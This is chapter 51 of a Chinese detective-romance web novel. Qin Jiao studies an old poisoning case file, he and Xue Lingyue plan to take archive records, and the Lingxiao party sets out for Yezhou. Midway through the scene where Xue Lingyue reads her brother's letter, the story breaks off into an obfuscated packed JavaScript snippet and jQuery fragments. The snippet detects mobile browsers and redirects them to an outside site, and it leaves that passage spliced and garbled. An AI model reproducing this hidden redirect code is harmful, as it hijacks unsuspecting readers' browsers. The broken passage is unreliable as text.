51. 第 51 章
作品:《青云昭昭(探案)》 秦艽要出远门,相熟的左卫兄弟们自然有钱的出力,有闲的出力,有力的也出力。
见一帮人呼呼啦啦快把值房搬空,秦艽检查几次,确保没有遗漏,便催他们去帮林逸之抬药箱。
自己则闪进密库,轻车熟路地走到木架之间翻找。多亏托薛灵玥的福,他对这地方现在是了如指掌,脑子里想个年份,腿脚自个儿就能迈过去。
太祖乾元八年,平阳王自戕而死。
果断地拽住那摞对应的密档,秦艽借着油灯的暗光,视线飞速阅览。
“乾元八年癸卯,平阳王李忠阖门自尽事纪:平阳王李忠,死时着便袍端坐正堂,尸身歪斜,左手握一长剑,剑未泣血。右手执蛎纹青玉带。经验,其面色青紫,唇呈乌色,双目、耳鼻处均有血泪,身无外伤,无挣扎痕,系中毒而亡。”
倒是没什么新鲜的,秦艽快速翻过这页,后面便是平阳王府众人的验尸格目。
除平阳王妃狄氏死前稍有挣扎外,妾室刘氏、妾室许氏、平阳王嫡长子及两个庶子的死状均与平阳王本人相同。
当天过满日宴的嫡幼子与其他人稍有出入,仵作记载为覆面窒息而死,但经开膛验尸后,又确系在其腹中发现了毒汤。
秦艽视线下移,这仵作极其负责的在最后以小字备注,“断其服药,尚未发作,又以被褥覆盖,令其窒息而死。”
对待一个才刚满月的孩子都能如此心狠手辣,秦艽越看心越冷,周身冒出莫名的寒意。
看来所谓忠臣,也并非都有颗良善之心。
剩余几十口家丁仆役也都是类似得惨状,翻到最后几页,就在即将放弃之时,秦艽的视线忽然一顿。
平阳王府有几个婆子和小厮的死因一栏,写得是“利器重伤而亡”,经验,凶器为王府卫刀。
既然是阖府下毒,怎么会有人的死状不同。
秦艽倒回去再看,案卷中说平阳王手中的剑并未粘血,府中精锐侍卫又都是在饮宴之时中毒而亡,那人是谁杀的?
他心头一凛,连忙再往后翻,翻到最后,倒是找到四五个家丁“死时手执刀剑”,但他们的死因,却写着“中毒而亡”。
秦艽眉头蹙起,这样大的漏洞,不可能当年没人察觉。死因不一致,说明很有可能下手的势力不止一方。
又或者是同一人所为,见尚有活口,便上前补刀。如果是这样,会这么做的只有平阳王了一人了……他想着,继续往后翻,最开始发现平阳王府有异的是左威卫——秦艽往后一翻,视线微顿,下一页开头处的字迹,竟被陈年水渍给晕了!
不知为何,看着这团模糊的墨迹,秦艽反而畅快的轻笑出声。
这就是师傅留给他的线索。
那个被刻意抹掉的名字,不论是善是恶,一定与文皇后有关。
盘旋在帝王之心数十年的女人,到底是阎罗,还是菩萨……秦艽下意识打了个冷颤,不再多想,大手果断将案卷一蜷,塞入怀中。
因明日凌霄将启程赶赴叶州,今日的卫所内格外忙碌。
秦艽办完事,去看了看林逸之,见他忙完,也准备翘着脚剔牙了,才回到自己的住处,琢磨起如何收拾行囊。
进卫所快十年,这恐怕是薛灵玥第一次出远门,叶州地处西北,气候干燥,条件肯定也比不上长安各处,时间不多,他得尽快准备起来才是,若是有不够的,还得留出时间上街采买。
他本来就喜洁心细,一沾上薛灵玥有关的事,整个人更是如临大敌。
进小书房转悠一圈,薛灵玥用惯了的茶器,常靠着的软枕……路上最好再带些她爱吃的点心,多挑几样放得住的,得有透花糍,泥果子,酥油泡螺……
对了,那边沙尘多,挡风的帷帽也得来一顶……
凌霄甩着扇子走到秦艽屋门外的时候,里面的盒子已经摞得比人还高了。
他诧异地随手打开一个,“嚯,你上哪儿买了个面衣,还是金线卷草纹的?”
不过这玩意儿戴出去是不是有点扎眼了?
秦艽还在里面收拾衣袍,闻言快步走出来,理所当然道,“哦,那是给灵玥准备的,女郎嘛,自然要好看些的。”
“啊?”凌霄那张一贯桀骜难驯的脸上露出惊诧的神色,手臂上下一扫,“这些,不会都是给她的罢?”
秦艽不解地点点头,“对啊。”
凌霄:“……用不用我单独给你准备辆马车?”
秦艽眼睛一亮,还没开口,凌霄手里的扇子已经重重打了过来,气得吹胡子瞪眼:“你是去巡游的吗?整这么多没用的东西还嫌不够惹眼!这些东西全戴上走出一里地,记住她的人都能排成串!我说你是不是忘了,那边可还有个死人等着你呢!”
心宽似海是给他自己的策略,可不是给秦艽这猢狲的!
凌霄眼珠子瞪得快掉出来,“亏你师兄担心的要命,百忙之中还要抽出时间到我耳边唠叨,听得我耳朵都起茧子,你倒好,还没成亲呢,就开始伺候人!”
秦艽觉得他说得好像有些道理,挠了挠头,“那我一会儿送过去让她选选,需要的再带着。”
凌霄仰着头,沉默地闭上了双眼。
他哪里想得到,看似听话的秦艽,等得就是这个机会。
他借着送东西的名义,光明正大进了薛灵玥的屋子,将偷出来的平阳王卷宗给她看。
前一页还留着“左威”二字,但左威卫十万大军,抛开无名小卒,叫得上名的将官也有百人之多。想找一个人可是个慢功夫。
薛灵玥眼珠一转,下意识看向敞开的屋门,确定外面没人,才在他耳边,特有主意的悄声道:“要不我们晚上去把当年将官的存档偷出来?”
反正马上要出门,捉贼得拿赃,一时半会没人抓住他们。
“要是没有发现,咱们办完案子再放回去,那不就是借了吗?”她眼睛黑得像葡萄,一眨一眨的。
秦艽勾起嘴角,“薛灵玥,你以后当了官儿,是不是得监守自盗啊?”
“瞎说!”薛灵玥锤他,“本来就是我的,我拿还叫偷吗?”
嘱咐他一会儿把案卷收回去,薛灵玥视线停在桌上,与他分享道:“对了,我阿兄来信了!”
薛灵玥笑得喜滋滋的,能在出发前一天收到家中的回信,让她心下踏实不少。
秦艽贱兮兮地凑过来逗她,“我能看吗?”
哼了一声,薛灵玥大大方方地把信放在两人中间,信中阿兄并没有直接回复她先前有关药丸的疑问,只说了最近阿娘偶感风寒,阿耶又办了两个案子,家中一切都好,让她不要忧心。
信的结尾处写得有些急,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635438|185359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿兄说他着急给阿娘煎药去了,改日再回她一封。
薛灵玥抿了抿嘴巴,等办完这个案子,她一定得将探亲的假休了,回去看看。
“看了信,怎么还生气呢?”秦艽伸手捏捏薛灵玥鼓起的脸蛋,这是她不高兴时的突出标志,他嬉皮笑脸地:“等办完差事,得空我陪你回去。”
薛灵玥一把拍掉他的手,气呼呼地:“我没生气!”
一点都不生气!
只要知道家中一切都好,她就,一点都不生气!
秦艽觉得她可爱,正要再捏,院里划来一道气若洪钟的大嗓门:“灵玥,灵玥?”
天啊,又是师父!
薛灵玥本能地站起来要把秦艽往屋里藏,但有了先前的教训,加上这会儿自诩名正言顺,秦艽屁股坐得犹如千年老松,分寸不让,非想在王崭面前现现眼。
气得薛灵玥直拧他,“赶紧起来!”
“我就不,别想再糊弄我啊薛灵玥!”秦艽竟然学会要名分了。
王崭走到敞开的屋门外,看见两人一左一右,安安静静地隔着张桌子坐着喝茶。
仿佛眼前是什么令人发笑的东西,他盯着两人,情不自禁呵呵笑了两声,听得薛灵玥心里发毛。
昨夜里她没回来住,一定是被师父发现了。
想起之前两人对秦艽的那番对话,她下意识缩了缩。
“啊,都在呢?”王崭又笑了两声,也不知道是在问谁,“收拾得怎么样了?”
气氛一瞬间凝固,两人愣了愣,又同时张嘴。
薛灵玥:“都齐了——”
秦艽:“刚收了一半——”
“哦,好啊好啊……”王崭仿佛什么都没听到,“一会早点休息,明天还要赶路,今夜师父就在门外守着你和你师姐,万事都不要怕,案子就算办不好,也有师父给你们兜着呢!”
王崭难得有此温情时刻,薛灵玥登时心下一软:“多谢师父!”
被冷落好一会的秦艽终于认清事实。
今夜,他只能独自去偷了。
…………
五月初八,壬寅日,五更三刻。
随着最后一声沉重的击打,开门鼓闭,长安外郭十二道高大坚固的城门同时开启。
通化门外,猎猎军旗迎风而动,豹韬卫众将士身披金甲,面色肃穆,跪地听诏。
待圣旨宣读完毕,统领上前接过明黄的卷轴,振臂一呼:“众将听令,起——行——!”
凌霄率武宁卫众人排在旁侧,闻声懒懒眯了眯眼,“瞧见没,上过战场的人,魂儿都是不一样的。”
秦艽没听懂,扭过头问林逸之,“什么意思?”
“别问了,他也不懂!”凌霄嗤笑一声,吐掉口中的杨枝,精壮有力的腰背用力一怔,□□的马儿嘶鸣一声,踏高前蹄,猛地跺地,随着的大军向前奔去。
潇洒的背影卷起一阵尘烟,秦艽呸掉嘴里的土,朝旁抱怨:“就他懂,骑个马也要显摆!呸,呸!”
“噗,算了,忍忍罢,噗,噗噗——”林逸之边咳土边擦脸。
成珏则一脸嫌弃地往后躲,“行了,吐沫星子都吹我身上了。”
一群活宝。
薛灵玥咯咯笑了几声,夹紧马腹,如离弦之箭一般冲出去,汇入滚滚军列之中。

